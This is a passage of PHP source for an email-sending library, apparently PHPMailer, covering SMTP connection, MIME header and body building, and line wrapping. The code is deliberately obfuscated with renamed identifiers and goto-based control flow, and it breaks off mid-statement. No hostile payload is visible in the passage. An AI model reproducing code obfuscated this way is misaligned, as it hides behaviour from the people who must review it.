$O0710["error"]; O4423: } goto O3642; O4140: if (!(count($this->O8684) > count($O8791) and !$this->O0303->O6302($O5269 . $O5285))) { goto O1196; } goto O6797; O3104: O9289: goto O3429; O3430: throw new Exception($this->O3627, self::O3720); goto O1982; O3429: foreach ($O1725 as $O5121) { $this->O6038($O5121["issent"], [$O5121["to"]], [], [], $this->O6959, $O5285, $this->O2135, ["smtp_transaction_id" => $O4390]); O1708: } goto O2093; O6797: throw new Exception($this->O0266("data_not_accepted"), self::O3720); goto O3608; O6581: O3517: goto O4140; O3642: O8072: goto O2479; O2479: throw new Exception($this->O0266("recipients_failed") . $O1127, self::O3420); goto O1738; O2643: $this->O0303->reset(); goto O3104; O3441: $this->o8188($this->o0266("from_failed") . $O0809 . " : " . implode(",", $this->O0303->o8504())); goto O3430; O1982: O5492: goto O3391; O1738: O0900: goto O7302; O6159: if ('' == $this->O1935) { goto O0653; } goto O0255; O0925: $this->O0303->O3074(); goto O9021; O0743: if ($this->O0303->mail($O0809)) { goto O5492; } goto O3441; O5704: O8528: goto O6159; O1742: if ($this->O1780($this->O6105)) { goto O8528; } goto O6450; O0255: $O0809 = $this->O1935; goto O9775; O3391: $O1725 = []; goto O7045; O8424: } public function o1780($O4868 = null) { goto O8954; O6207: return true; goto O1404; O2800: $this->O0303 = $this->o0859(); goto O9126; O8954: if (!(null === $this->O0303)) { goto O2852; } goto O2800; O7808: if (!(null === $O4868)) { goto O5037; } goto O2833; O3182: $this->O0303->o0797($this->O3117); goto O7856; O9209: O3646: goto O5495; O7856: $O5415 = explode(";", $this->O6228); goto O6446; O2247: foreach ($O5415 as $O5331) { goto O3054; O3574: $O0275 = "ssl"; goto O9045; O6640: O0357: goto O2380; O9145: static::o5093($this->O0266("connect_host") . " " . $O5331); goto O4526; O2220: if ("ssl" == $O9595[2] or '' == $O9595[2] and "ssl" == $this->O5604) { goto O4398; } goto O3237; O1296: O1036: goto O2283; O9045: goto O8018; goto O8695; O3386: if (!($O4792 > 0 and $O4792 < 65536)) { goto O6618; } goto O0825; O8382: $O3954 = $O9595[3]; goto O6099; O3237: if ("tls" == $O9595[2]) { goto O3554; } goto O2470; O9405: $O0275 = "tls"; goto O4379; O8695: O3554: goto O8223; O3414: $O8067 = defined("OPENSSL_ALGO_SHA256"); goto O6084; O3969: if (!$this->O0303->connect($O5845 . $O3954, $O4008, $this->O5237, $O4868)) { goto O1939; } goto O4154; O3054: $O9595 = []; goto O6944; O5805: O5338: goto O9067; O8842: O1939: goto O5805; O4027: $O0275 = $this->O5604; goto O0931; O4154: try { goto O6453; O1373: $this->O0303->o5919($O5140); goto O8087; O9823: return true; goto O3999; O6817: O7451: goto O7412; O5410: O9355: goto O4339; O8242: if ($this->O0303->O0444($this->O6663, $this->O4673, $this->O0001, $this->O4337)) { goto O5912; } goto O2673; O2673: throw new Exception($this->O0266("authenticate")); goto O3609; O7911: $O5140 = $this->O3980; goto O2523; O2523: O5979: goto O1373; O4339: if (!$this->O3884) { goto O2507; } goto O8242; O8905: O5582: goto O7911; O7412: if (!$O1186) { goto O9355; } goto O7315; O7640: O2507: goto O9823; O6453: if ($this->O3980) { goto O5582; } goto O7352; O7352: $O5140 = $this->O9929(); goto O6575; O8087: if (!($this->O4418 and $O8067 and "ssl" != $O0275 and $this->O0303->o6117("STARTTLS"))) { goto O7451; } goto O9470; O9470: $O1186 = true; goto O6817; O4903: $this->O0303->O5919($O5140); goto O5410; O6575: goto O5979; goto O8905; O2657: O8463: goto O4903; O7315: if ($this->O0303->O4990()) { goto O8463; } goto O0013; O3609: O5912: goto O7640; O0013: throw new Exception($this->O0266("connect_host")); goto O2657; O3999: } catch (Exception $O0127) { goto O6178; O0036: $this->o5093($O0127->getMessage()); goto O6757; O6178: $O6004 = $O0127; goto O0036; O6757: $this->O0303->o3074(); goto O3727; O3727: } goto O8842; O5923: if ($O8067) { goto O0357; } goto O0511; O8223: $O1186 = true; goto O9405; O7437: $O1186 = false; goto O3574; O6084: if (!("tls" === $O0275 or "ssl" === $O0275)) { goto O5594; } goto O5923; O2380: O5594: goto O8382; O6099: $O4008 = $this->O8164; goto O5274; O2689: $O5845 = "ssl://"; goto O7437; O2470: goto O8018; goto O0141; O4379: O8018: goto O3414; O5031: O0149: goto O5853; O5853: $O5845 = ''; goto O4027; O4526: goto O5338; goto O5031; O9957: static::O5093($this->o0266("connect_host") . " " . $O5331); goto O2782; O0931: $O1186 = "tls" == $this->O5604; goto O2220; O2782: goto O5338; goto O1296; O6944: if (preg_match("/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/", trim($O5331), $O9595)) { goto O1036; } goto O9957; O5274: $O4792 = (int) $O9595[4]; goto O3386; O7931: O6618: goto O3969; O0511: throw new Exception($this->o0266("extension_missing") . "openssl", self::O3720); goto O6640; O0825: $O4008 = $O4792; goto O7931; O2283: if (static::O2097($O9595[3])) { goto O0149; } goto O9145; O0141: O4398: goto O2689; O9067: } goto O5244; O9017: throw $O6004; goto O9209; O7963: if (!($this->O0454 and null !== $O6004)) { goto O3646; } goto O9017; O4475: $this->O0303->O4292($this->O1946); goto O7861; O6446: $O6004 = null; goto O2247; O2382: $this->O0303->O9918($this->O5237); goto O4475; O1404: O6121: goto O2382; O6940: if (!$this->O0303->O4754()) { goto O6121; } goto O6207; O5495: return false; goto O9215; O9126: O2852: goto O7808; O7861: $this->O0303->o9338($this->O4819); goto O3182; O5244: O5083: goto O5448; O2833: $O4868 = $this->O6105; goto O0198; O0198: O5037: goto O6940; O5448: $this->O0303->close(); goto O7963; O9215: } public function O8480() { goto O9783; O5284: if (!$this->O0303->o4754()) { goto O3745; } goto O4286; O9783: if (!(null !== $this->O0303)) { goto O2227; } goto O5284; O5148: O2227: goto O8717; O5065: $this->O0303->close(); goto O8140; O4286: $this->O0303->O3074(); goto O5065; O8140: O3745: goto O5148; O8717: } public function O5460($O5239 = "en", $O2089 = '') { goto O4295; O5187: O4618: goto O2425; O5843: $O2089 = dirname(__DIR__) . DIRECTORY_SEPARATOR . "language" . DIRECTORY_SEPARATOR; goto O2388; O7068: $this->O3473 = $O0962; goto O0964; O0480: O2981: goto O8565; O2425: $O0962 = ["authenticate" => "SMTP Error: Could not authenticate.", "connect_host" => "SMTP Error: Could not connect to SMTP host.", "data_not_accepted" => "SMTP Error: data not accepted.", "empty_message" => "Message body empty", "encoding" => "Unknown encoding: ", "execute" => "Could not execute: ", "file_access" => "Could not access file: ", "file_open" => "File Error: Could not open file: ", "from_failed" => "The following From address failed: ", "instantiate" => "Could not instantiate mail function.", "invalid_address" => "Invalid address: ", "mailer_not_supported" => " mailer is not supported.", "provide_address" => "You mustprovide at least one recipient email address.", "recipients_failed" => "SMTP Error: The following recipients failed: ", "signing" => "Signing Error: ", "smtp_connect_failed" => "SMTP connect() failed.", "smtp_error" => "SMTP server error: ", "variable_set" => "Cannot set or reset variable: ", "extension_missing" => "Extension missing: "]; goto O6300; O0964: return (bool) $O0816; goto O8412; O5254: if (!isset($O8694[$O5239])) { goto O4618; } goto O1541; O2577: O4386: goto O9842; O5791: if (!("en" != $O5239)) { goto O6285; } goto O1683; O1683: if (!static::O9648($O4174) || !file_exists($O4174)) { goto O4386; } goto O0371; O9842: $O0816 = false; goto O0480; O4390: $O5239 = "en"; goto O7242; O1666: $O0816 = true; goto O9073; O1541: $O5239 = $O8694[$O5239]; goto O5187; O1049: if (preg_match("/^[a-z]{2}(?:_[a-zA-Z]{2})?$/", $O5239)) { goto O8290; } goto O4390; O0371: $O0816 = (include $O4174); goto O2627; O6300: if (!empty($O2089)) { goto O0012; } goto O5843; O8565: O6285: goto O7068; O7242: O8290: goto O1666; O2388: O0012: goto O1049; O4295: $O8694 = ["br" => "pt_br", "cz" => "cs", "dk" => "da", "no" => "nb", "se" => "sv", "rs" => "sr", "tg" => "tl"]; goto O5254; O9073: $O4174 = $O2089 . "phpmailer.lang-" . $O5239 . ".php"; goto O5791; O2627: goto O2981; goto O2577; O8412: } public function O2885() { return $this->O3473; } public function O9790($O9999, $O8440) { goto O3413; O3413: $O5531 = []; goto O7759; O7759: foreach ($O8440 as $O4707) { $O5531[] = $this->O5648($O4707); O2904: } goto O1458; O3551: return $O9999 . ": " . implode(", ", $O5531) . static::$O1517; goto O9424; O1458: O5003: goto O3551; O9424: } public function o5648($O8440) { goto O2887; O7530: O2081: goto O7655; O1571: return $this->O3957($O8440[0]); goto O7530; O7655: return $this->O1008($this->o3957($O8440[1]), "phrase") . " <" . $this->O3957($O8440[0]) . ">"; goto O9437; O2887: if (!empty($O8440[1])) { goto O2081; } goto O1571; O9437: } public function o2471($O6131, $O4188, $O5885 = false) { goto O7339; O1621: $O6131 = static::O8623($O6131); goto O4973; O0206: $O7420 = static::$O1517; goto O2301; O2553: $O7420 = sprintf(" =%s", static::$O1517); goto O3276; O2301: goto O9144; goto O4158; O1326: O3383: goto O0023; O9457: O5857: goto O5651; O7326: $O3294 = strlen(static::$O1517); goto O1621; O4973: if (!(substr($O6131, -$O0046) == static::$O1517)) { goto O3383; } goto O1013; O2625: $O1729 = static::O5095 === strtolower($this->O0610); goto O6718; O4158: O1088: goto O2553; O0023: $O7040 = explode(static::$O1517, $O6131); goto O8794; O1013: $O6131 = substr($O6131, 0, -$O0046); goto O1326; O8794: $O6131 = ''; goto O0267; O5651: return $O6131; goto O6332; O3276: O9144: goto O2625; O7339: if ($O5885) { goto O1088; } goto O0206; O6718: $O0046 = strlen(static::$O1517); goto O7326; O0267: foreach ($O7040 as $O8240) { goto O4843; O3854: $O0224 = ''; goto O2307; O7102: O5271: goto O4212; O4843: $O5127 = explode(" ", $O8240); goto O3854; O2189: O2464: goto O6191; O4563: foreach ($O5127 as $O0766) { goto O0753; O0261: if (!($O4188 <= 0)) { goto O1205; } goto O5978; O0472: O1132: goto O5936; O5213: $O1432 = $this->o1984($O0766, $O1432); goto O8254; O7766: O3491: goto O7318; O8027: if ($O6673 > 20) { goto O8379; } goto O4417; O5107: if ("=" == substr($O0766, $O1432 - 1, 1)) { goto O3491; } goto O5140; O2273: O2500: goto O1451; O5978: goto O3540; goto O5090; O2906: $O6131 .= $O4799 . sprintf("=%s", static::$O1517); goto O0472; O5936: goto O0782; goto O8430; O7898: goto O9269; goto O5682; O2997: O0782: goto O9676; O8545: O8562: goto O3704; O1043: $O1432 = $O6673; goto O8958; O5497: O1874: goto O5705; O8959: goto O2500; goto O9118; O0753: if ($O5885 and strlen($O0766) > $O4188) { goto O6394; } goto O2511; O2756: if ($O2000) { goto O0423; } goto O0251; O8958: if ($O1729) { goto O2649; } goto O7832; O2100: $O0766 = substr($O0766, $O1432); goto O3418; O5682: O2649: goto O5213; O7318: --$O1432; goto O4201; O8786: $O1432 = $O4188; goto O8051; O5641: O2915: goto O1784; O2511: $O6257 = $O0224; goto O2756; O4168: O1712: goto O2997; O2102: O2953: goto O0716; O2600: $O6131 .= $O0224 . sprintf("=%s", static::$O1517); goto O2273; O4417: $O6131 .= $O0224 . $O7420; goto O8959; O1911: O6394: goto O4554; O4201: goto O6165; goto O5641; O8430: O3540: goto O2117; O9225: $O0224 .= $O0766; goto O6562; O1285: O0423: goto O9225; O6746: if (strlen($O0766) > 0) { goto O0959; } goto O6779; O7832: if ("=" == substr($O0766, $O1432 - 1, 1)) { goto O1937; } goto O7992; O8254: goto O9269; goto O1614; O0716: $O1432 = $this->O1984($O0766, $O1432); goto O0604; O7563: $O6131 .= $O6257 . $O7420; goto O2437; O9200: $O2000 = false; goto O8545; O9453: goto O1132; goto O9565; O6562: if (!(strlen($O0224) > $O4188 and '' != $O6257)) { goto O1874; } goto O7563; O1784: $O1432 -= 2; goto O6667; O9565: O0959: goto O2906; O6779: $O0224 = $O4799; goto O9453; O2117: O7305: goto O9200; O8051: if ($O1729) { goto O2953; } goto O5107; O9450: $O4799 = substr($O0766, 0, $O1432); goto O9068; O8438: goto O6165; goto O2102; O5090: O1205: goto O8786; O5140: if ("=" == substr($O0766, $O1432 - 2, 1)) { goto O2915; } goto O8438; O8592: O9269: goto O8555; O2437: $O0224 = $O0766; goto O5497; O9068: $O0766 = substr($O0766, $O1432); goto O6746; O7992: if ("=" == substr($O0766, $O1432 - 2, 1)) { goto O3558; } goto O7898; O8555: $O4799 = substr($O0766, 0, $O1432); goto O2100; O4612: if ($O2000) { goto O1712; } goto O8027; O4554: $O6673 = $O4188 - strlen($O0224) - $O3294; goto O4612; O6667: O6165: goto O9450; O0617: --$O1432; goto O4194; O3418: $O0224 .= " " . $O4799; goto O2600; O9118: O8379: goto O1043; O1614: O1937: goto O0617; O9676: if (!(strlen($O0766) > 0)) { goto O3540; } goto O0261; O9628: O3558: goto O6221; O0251: $O0224 .= " "; goto O1285; O0604: goto O6165; goto O7766; O1451: $O0224 = ''; goto O4168; O4194: goto O9269; goto O9628; O6221: $O1432 -= 2; goto O8592; O5705: goto O7305; goto O1911; O3704: } goto O7102; O2307: $O2000 = true; goto O4563; O4212: $O6131 .= $O0224 . static::$O1517; goto O2189; O6191: } goto O9457; O6332: } public function o1984($O7327, $O9042) { goto O9915; O4095: if (!($O1530 > 0)) { goto O6270; } goto O0675; O9084: goto O2730; goto O4163; O9317: goto O2730; goto O4911; O9007: if ($O2374 >= 192) { goto O5678; } goto O6120; O8715: $O8535 = substr($O7327, $O9042 - $O3192, $O3192); goto O5046; O3911: goto O2730; goto O5188; O5046: $O1530 = strpos($O8535, "="); goto O1051; O5188: O5678: goto O9812; O7752: return $O9042; goto O4144; O5215: goto O5862; goto O1610; O0304: if ($O4302) { goto O2170; } goto O8715; O9422: $O2374 = hexdec($O3547); goto O8941; O4911: O5695: goto O4095; O7915: $O3547 = substr($O7327, $O9042 - $O3192 + $O1530 + 1, 2); goto O9422; O6120: if ($O2374 < 192) { goto O2216; } goto O9317; O1610: O2170: goto O7752; O1919: $O4302 = true; goto O3911; O7942: $O3192 += 3; goto O7272; O5094: O8299: goto O7915; O8941: if ($O2374 < 128) { goto O5695; } goto O9007; O1963: O6270: goto O1919; O9812: $O9042 -= $O3192 - $O1530; goto O6541; O7747: O2659: goto O5215; O5849: $O4302 = true; goto O4261; O4163: O2216: goto O7942; O9915: $O4302 = false; goto O3984; O2161: O5862: goto O0304; O3984: $O3192 = 3; goto O2161; O0675: $O9042 -= $O3192 - $O1530; goto O1963; O1051: if (false !== $O1530) { goto O8299; } goto O5849; O7272: O2730: goto O7747; O4261: goto O2659; goto O5094; O6541: $O4302 = true; goto O9084; O4144: } public function o9734() { goto O8046; O8046: if (!($this->O4988 < 1)) { goto O2001; } goto O1867; O2118: O4804: goto O5151; O5151: O3288: goto O6257; O7732: switch ($this->O4974) { case "alt": case "alt_inline": case "alt_attach": case "alt_inline_attach": $this->O1077 = $this->O2471($this->O1077, $this->O4988); goto O3288; default: $this->O1892 = $this->O2471($this->O1892, $this->O4988); goto O3288; } goto O2118; O1867: return; goto O1101; O1101: O2001: goto O7732; O6257: } public function O5700() { goto O5425; O1117: O1245: goto O5021; O0489: O3952: goto O5970; O7067: O6296: goto O8413; O1914: if (!('' != $this->O5829)) { goto O6296; } goto O3550; O3764: $this->O6536 = sprintf("<%s@%s>", $this->O8758, $this->o9929()); goto O9093; O0545: O9620: goto O4774; O5425: $O0515 = ''; goto O5608; O3550: $O0515 .= $this->o3698("Disposition-Notification-To", "<" . $this->O5829 . ">"); goto O7067; O2330: O8899: goto O9383; O5608: $O0515 .= $this->O3698("Date", '' == $this->O9621 ? self::o0766() : $this->O9621); goto O2574; O5353: O1905: goto O4867; O5970: if ('' != $this->O2722 and preg_match("/^<.*@.*>$/", $this->O2722)) { goto O8899; } goto O3764; O0473: if (!("mail" != $this->O8348)) { goto O9620; } goto O7052; O2574: if ($this->O7683) { goto O4445; } goto O3691; O1566: $O0515 .= $this->O3698("To", "undisclosed-recipients:;"); goto O6538; O2228: $O8718 = trim($this->O8184); goto O5666; O9383: $this->O6536 = $this->O2722; goto O4324; O4737: $O0515 .= $this->O3698("Subject", $this->o1008($this->o3957($this->O6959))); goto O0489; O9909: $O0515 .= $this->O9790("Cc", $this->O0958); goto O3768; O7805: if (!(null !== $this->O4398)) { goto O1905; } goto O2374; O6334: goto O8979; goto O5741; O2882: $O0515 .= $this->o9790("Bcc", $this->O3390); goto O1117; O5021: if (!(count($this->O9879) > 0)) { goto O9452; } goto O9207; O7052: $O0515 .= $this->O9790("To", $this->O1431); goto O0545; O7113: O2844: goto O1566; O5741: O2897: goto O2655; O1512: O8245: goto O0567; O9836: goto O0017; goto O0339; O2374: $O0515 .= $this->O3698("X-Priority", $this->O4398); goto O5353; O4867: if ('' == $this->O8184) { goto O2897; } goto O2228; O1387: O8664: goto O2171; O0053: $O0515 .= $this->O9790("From", [[trim($this->O2135), $this->O5331]]); goto O5839; O4470: O4445: goto O3149; O5666: if (!$O8718) { goto O4401; } goto O8000; O0339: O6876: goto O0473; O3594: if (!(("sendmail" == $this->O8348 or "qmail" == $this->O8348 or "mail" == $this->O8348) and count($this->O3390) > 0)) { goto O1245; } goto O2882; O6572: foreach ($this->O1431 as $O1699) { $this->O1036[] = $this->o5648($O1699); O3785: } goto O1512; O0567: O3000: goto O3308; O9044: O9452: goto O7740; O8769: O8979: goto O1914; O5649: if ($this->O8187) { goto O8664; } goto O3940; O5281: O3884: goto O5649; O5839: if (!(count($this->O0958) > 0)) { goto O9116; } goto O9909; O8000: $O0515 .= $this->O3698("X-Mailer", $O8718); goto O1441; O8413: foreach ($this->O0111 as $O5269) { $O0515 .= $this->o3698(trim($O5269[0]), $this->O1008(trim($O5269[1]))); O2958: } goto O5281; O2171: return $O0515; goto O0644; O2818: $O0515 .= $this->O3698("Message-ID", $this->O6536); goto O7805; O9093: goto O3561; goto O2330; O2655: $O0515 .= $this->O3698("X-Mailer", "??1?" . self::O2652 . "??"); goto O8769; O9207: $O0515 .= $this->o9790("Reply-To", $this->O9879); goto O9044; O3691: if (count($this->O1431) > 0) { goto O6876; } goto O4043; O4774: goto O0017; goto O7113; O3308: O7710: goto O0053; O6538: O0017: goto O1227; O3940: $O0515 .= $this->O3698("MIME-Version", "1.0"); goto O9441; O4324: O3561: goto O2818; O1227: goto O7710; goto O4470; O9441: $O0515 .= $this->O2472(); goto O1387; O1441: O4401: goto O6334; O3149: if (!("mail" != $this->O8348)) { goto O3000; } goto O6572; O4043: if (count($this->O0958) == 0) { goto O2844; } goto O9836; O7740: if (!("mail" != $this->O8348)) { goto O3952; } goto O4737; O3768: O9116: goto O3594; O0644: } public function o2472() { goto O2072; O3053: if (!("mail" != $this->O8348)) { goto O1612; } goto O2158; O4593: O1272: goto O7592; O8120: switch ($this->O4974) { case "inline": goto O3056; O3056: $O0515 .= $this->o3698("Content-Type", static::O4400 . ";"); goto O7119; O7119: $O0515 .= $this->O3258(" boundary="" . $this->O1933[1] . """); goto O9326; O9326: goto O2359; goto O0402; O0402: case "attach": case "inline_attach": case "alt_attach": case "alt_inline_attach": goto O2504; O4397: $O0515 .= $this->O3258(" boundary="" . $this->O1933[1] . """); goto O8689; O2504: $O0515 .= $this->o3698("Content-Type", static::O7571 . ";"); goto O4397; O8689: goto O2359; goto O5058; O5058: case "alt": case "alt_inline": goto O8648; O7400: $O0515 .= $this->o3258(" boundary="" . $this->O1933[1] . """); goto O1050; O1050: goto O2359; goto O0275; O8648: $O0515 .= $this->o3698("Content-Type", static::O5743 . ";"); goto O7400; O0275: default: goto O8505; O8505: $O0515 .= $this->O3258("Content-Type: " . $this->O5234 . "; charset=" . $this->O0610); goto O8956; O3695: goto O2359; goto O7459; O8956: $O2251 = false; goto O3695; O7459: } goto O4593; O9835: $O2251 = true; goto O8120; O5567: $O0515 .= $this->o3698("Content-Transfer-Encoding", $this->O8046); goto O4999; O7592: O2359: goto O5084; O8124: O1612: goto O2089; O5442: O6827: goto O3053; O7324: if (!(static::O1466 == $this->O8046)) { goto O8415; } goto O8091; O2072: $O0515 = ''; goto O9835; O3295: O0422: goto O5442; O0950: O3061: goto O7324; O4999: goto O0422; goto O0950; O8583: O8415: goto O3295; O8091: $O0515 .= $this->o3698("Content-Transfer-Encoding", static::O1466); goto O8583; O2158: $O0515 .= static::$O1517; goto O8124; O5084: if (!(static::O2669 != $this->O8046)) { goto O6827; } goto O9765; O9765: if ($O2251) { goto O3061; } goto O5567; O2089: return $O0515; goto O1018; O1018: } public function O0741() { return rtrim($this->O0199 . $this->O3852, " 
\xd") . static::$O1517 . static::$O1517 . $this->O8926; } protected function O9656() { goto O1186; O7390: if (function_exists("openssl_random_pseudo_bytes")) { goto O6999; } goto O8312; O1186: $O1432 = 32; goto O3315; O9999: $O5584 = random_bytes($O1432); goto O3300; O3300: goto O7404; goto O5969; O8312: $O5584 = hash("sha256", uniqid((string) mt_rand(), true), true); goto O1262; O1262: goto O7404; goto O8184; O8184: O1266: goto O9999; O3559: O7404: goto O8365; O8365: return str_replace(["=", "+", "/"], '', base64_encode(hash("sha256", $O5584, true))); goto O6582; O5098: $O5584 = openssl_random_pseudo_bytes($O1432); goto O3559; O3315: if (function_exists("random_bytes")) { goto O1266; } goto O7390; O5969: O6999: goto O5098; O6582: } public function O1426() { goto O0523; O8800: return $O5285; goto O1005; O8132: $O5285 .= $this->O2472() . static::$O1517; goto O0768; O5789: goto O2357; goto O5436; O4384: if (!$this->O0454) { goto O4075; } goto O7715; O0523: $O5285 = ''; goto O5688; O0829: $O8475 = $this->O0610; goto O5573; O0598: $this->O1933[1] = "b1_" . $this->O8758; goto O9465; O6278: O6926: goto O0414; O9465: $this->O1933[2] = "b2_" . $this->O8758; goto O6701; O5901: if (!(static::O8717 != $this->O8046 and static::o1784($this->O1892))) { goto O7188; } goto O5334; O0315: goto O2357; goto O8961; O6814: if (!$this->O8187) { goto O1168; } goto O8132; O4455: $O3218 = static::O3538; goto O9390; O3155: O4075: goto O5789; O5334: $O8522 = static::O3538; goto O0805; O9390: O3482: goto O8623; O8358: O0101: goto O5901; O2108: $O0964 = "us-ascii"; goto O8358; O5436: O9504: goto O3231; O0414: if (!(static::O8717 != $O3218 and static::o1784($this->O1077))) { goto O3482; } goto O4455; O0805: O7188: goto O6220; O5573: if (!(static::O1466 == $O3218 and !$this->o1181($this->O1077))) { goto O6926; } goto O7254; O0768: O1168: goto O0143; O6220: $O3218 = $this->O8046; goto O0829; O8917: switch ($this->O4974) { case "inline": goto O2362; O2457: $O5285 .= static::$O1517; goto O3326; O3326: $O5285 .= $this->o7408("inline", $this->O1933[1]); goto O9794; O2362: $O5285 .= $O9813; goto O8017; O8017: $O5285 .= $this->O4593($this->O1933[1], $O0964, '', $O8522); goto O5944; O9794: goto O1484; goto O5748; O5944: $O5285 .= $this->o7916($this->O1892, $O8522); goto O2457; O5748: case "attach": goto O7785; O8521: goto O1484; goto O5931; O3817: $O5285 .= $this->O4593($this->O1933[1], $O0964, '', $O8522); goto O0227; O1731: $O5285 .= static::$O1517; goto O7357; O0227: $O5285 .= $this->O7916($this->O1892, $O8522); goto O1731; O7785: $O5285 .= $O9813; goto O3817; O7357: $O5285 .= $this->o7408("attachment", $this->O1933[1]); goto O8521; O5931: case "inline_attach": goto O8605; O0897: $O5285 .= $this->O3258("--" . $this->O1933[1]); goto O2592; O2592: $O5285 .= $this->O3698("Content-Type", static::O4400 . ";"); goto O7166; O9024: $O5285 .= static::$O1517; goto O4714; O0939: goto O1484; goto O2766; O6548: $O5285 .= $this->o3258(" type="" . static::O3427 . """); goto O6114; O4185: $O5285 .= $this->o7916($this->O1892, $O8522); goto O9024; O6114: $O5285 .= static::$O1517; goto O1495; O0434: $O5285 .= static::$O1517; goto O3506; O1495: $O5285 .= $this->O4593($this->O1933[2], $O0964, '', $O8522); goto O4185; O3506: $O5285 .= $this->o7408("attachment", $this->O1933[1]); goto O0939; O4714: $O5285 .= $this->O7408("inline", $this->O1933[2]); goto O0434; O7166: $O5285 .= $this->O3258(" boundary="" . $this->O1933[2] . "";"); goto O6548; O8605: $O5285 .= $O9813; goto O0897; O2766: case "alt": goto O0933; O0537: $O5285 .= static::$O1517; goto O0853; O0853: O6029: goto O5283; O7914: $O5285 .= $this->o4593($this->O1933[1], '', static::O2967 . "; method=REQUEST", ''); goto O6590; O0933: $O5285 .= $O9813; goto O9393; O9393: $O5285 .= $this->o4593($this->O1933[1], $O8475, static::O0673, $O3218); goto O7295; O0168: if (empty($this->O4893)) { goto O6029; } goto O7914; O7295: $O5285 .= $this->o7916($this->O1077, $O3218); goto O5347; O3311: $O5285 .= $this->O4593($this->O1933[1], $O0964, static::O3427, $O8522); goto O0770; O5283: $O5285 .= $this->o5521($this->O1933[1]); goto O0015; O0498: $O5285 .= static::$O1517; goto O0168; O5347: $O5285 .= static::$O1517; goto O3311; O0770: $O5285 .= $this->o7916($this->O1892, $O8522); goto O0498; O0015: goto O1484; goto O0350; O6590: $O5285 .= $this->O7916($this->O4893, $this->O8046); goto O0537; O0350: case "alt_inline": goto O7873; O7873: $O5285 .= $O9813; goto O4308; O7675: $O5285 .= $this->O4593($this->O1933[2], $O0964, static::O3427, $O8522); goto O4036; O3024: $O5285 .= $this->O3258("--" . $this->O1933[1]); goto O9072; O8793: $O5285 .= $this->O5521($this->O1933[1]); goto O6080; O9072: $O5285 .= $this->o3698("Content-Type", static::O4400 . ";"); goto O9982; O0428: $O5285 .= static::$O1517; goto O7675; O8186: $O5285 .= static::$O1517; goto O3024; O2338: $O5285 .= $this->o7408("inline", $this->O1933[2]); goto O2977; O4308: $O5285 .= $this->o4593($this->O1933[1], $O8475, static::O0673, $O3218); goto O8431; O9982: $O5285 .= $this->o3258(" boundary="" . $this->O1933[2] . "";"); goto O1184; O2977: $O5285 .= static::$O1517; goto O8793; O8431: $O5285 .= $this->o7916($this->O1077, $O3218); goto O8186; O4036: $O5285 .= $this->o7916($this->O1892, $O8522); goto O7157; O7157: $O5285 .= static::$O1517; goto O2338; O6080: goto O1484; goto O7205; O1184: $O5285 .= $this->o3258(" type="" . static::O3427 . """); goto O0428; O7205: case "alt_attach": goto O0748; O2508: $O5285 .= static::$O1517; goto O8261; O3377: goto O1484; goto O3851; O8953: $O5285 .= $this->O7916($this->O1077, $O3218); goto O8066; O5535: $O5285 .= $this->o7408("attachment", $this->O1933[1]); goto O3377; O5093: $O5285 .= static::$O1517; goto O5535; O2531: if (empty($this->O4893)) { goto O7652; } goto O6412; O4898: $O5285 .= $this->O7916($this->O4893, $this->O8046); goto O2746; O1593: $O5285 .= $this->o3258("--" . $this->O1933[1]); goto O1651; O7993: $O5285 .= $this->o7916($this->O1892, $O8522); goto O0043; O8261: $O5285 .= $this->o4593($this->O1933[2], $O8475, static::O0673, $O3218); goto O8953; O6412: $O5285 .= $this->o4593($this->O1933[2], '', static::O2967 . "; method=REQUEST", ''); goto O4898; O0043: $O5285 .= static::$O1517; goto O2531; O2746: O7652: goto O4841; O4841: $O5285 .= $this->O5521($this->O1933[2]); goto O5093; O0748: $O5285 .= $O9813; goto O1593; O8066: $O5285 .= static::$O1517; goto O2706; O1651: $O5285 .= $this->O3698("Content-Type", static::O5743 . ";"); goto O6546; O2706: $O5285 .= $this->O4593($this->O1933[2], $O0964, static::O3427, $O8522); goto O7993; O6546: $O5285 .= $this->o3258(" boundary="" . $this->O1933[2] . """); goto O2508; O3851: case "alt_inline_attach": goto O0904; O0807: $O5285 .= $this->O7408("attachment", $this->O1933[1]); goto O4587; O8188: $O5285 .= static::$O1517; goto O6767; O6726: $O5285 .= $this->o3258("--" . $this->O1933[2]); goto O3751; O8966: $O5285 .= static::$O1517; goto O6726; O3223: $O5285 .= static::$O1517; goto O6714; O0720: $O5285 .= $this->O3258(" boundary="" . $this->O1933[3] . "";"); goto O9270; O0904: $O5285 .= $O9813; goto O8813; O6714: $O5285 .= $this->o5521($this->O1933[2]); goto O3514; O2208: $O5285 .= static::$O1517; goto O0470; O0098: $O5285 .= $this->O3258(" boundary="" . $this->O1933[2] . """); goto O2208; O9270: $O5285 .= $this->o3258(" type="" . static::O3427 . """); goto O3035; O3035: $O5285 .= static::$O1517; goto O4805; O4805: $O5285 .= $this->o4593($this->O1933[3], $O0964, static::O3427, $O8522); goto O0107; O6767: $O5285 .= $this->o7408("inline", $this->O1933[3]); goto O3223; O8813: $O5285 .= $this->O3258("--" . $this->O1933[1]); goto O1391; O5563: $O5285 .= $this->O7916($this->O1077, $O3218); goto O8966; O4587: goto O1484; goto O1562; O1391: $O5285 .= $this->O3698("Content-Type", static::O5743 . ";"); goto O0098; O3514: $O5285 .= static::$O1517; goto O0807; O0470: $O5285 .= $this->O4593($this->O1933[2], $O8475, static::O0673, $O3218); goto O5563; O0107: $O5285 .= $this->o7916($this->O1892, $O8522); goto O8188; O3751: $O5285 .= $this->O3698("Content-Type", static::O4400 . ";"); goto O0720; O1562: default: goto O4054; O5202: goto O1484; goto O5047; O4054: $this->O8046 = $O8522; goto O0989; O0989: $O5285 .= $this->O7916($this->O1892, $this->O8046); goto O5202; O5047: } goto O7095; O5478: if ($this->O8187) { goto O9504; } goto O0315; O8191: O1484: goto O5145; O0575: $O8522 = static::O2669; goto O2108; O5837: O2357: goto O8800; O6701: $this->O1933[3] = "b3_" . $this->O8758; goto O6814; O5750: $O0964 = $this->O0610; goto O0077; O3231: try { goto O2848; O7085: if ($O6052) { goto O8682; } goto O7859; O6377: throw new Exception($this->O0266("extension_missing") . "openssl"); goto O2999; O2424: $O2298 = fopen("php://temp", "rb+"); goto O1510; O9325: throw new Exception($this->o0266("signing") . openssl_error_string()); goto O9798; O2999: O7323: goto O2250; O5513: if (empty($this->O9194)) { goto O8668; } goto O9011; O1527: O8668: goto O4428; O7033: goto O3593; goto O1527; O4275: O3593: goto O3277; O7859: fclose($O2298); goto 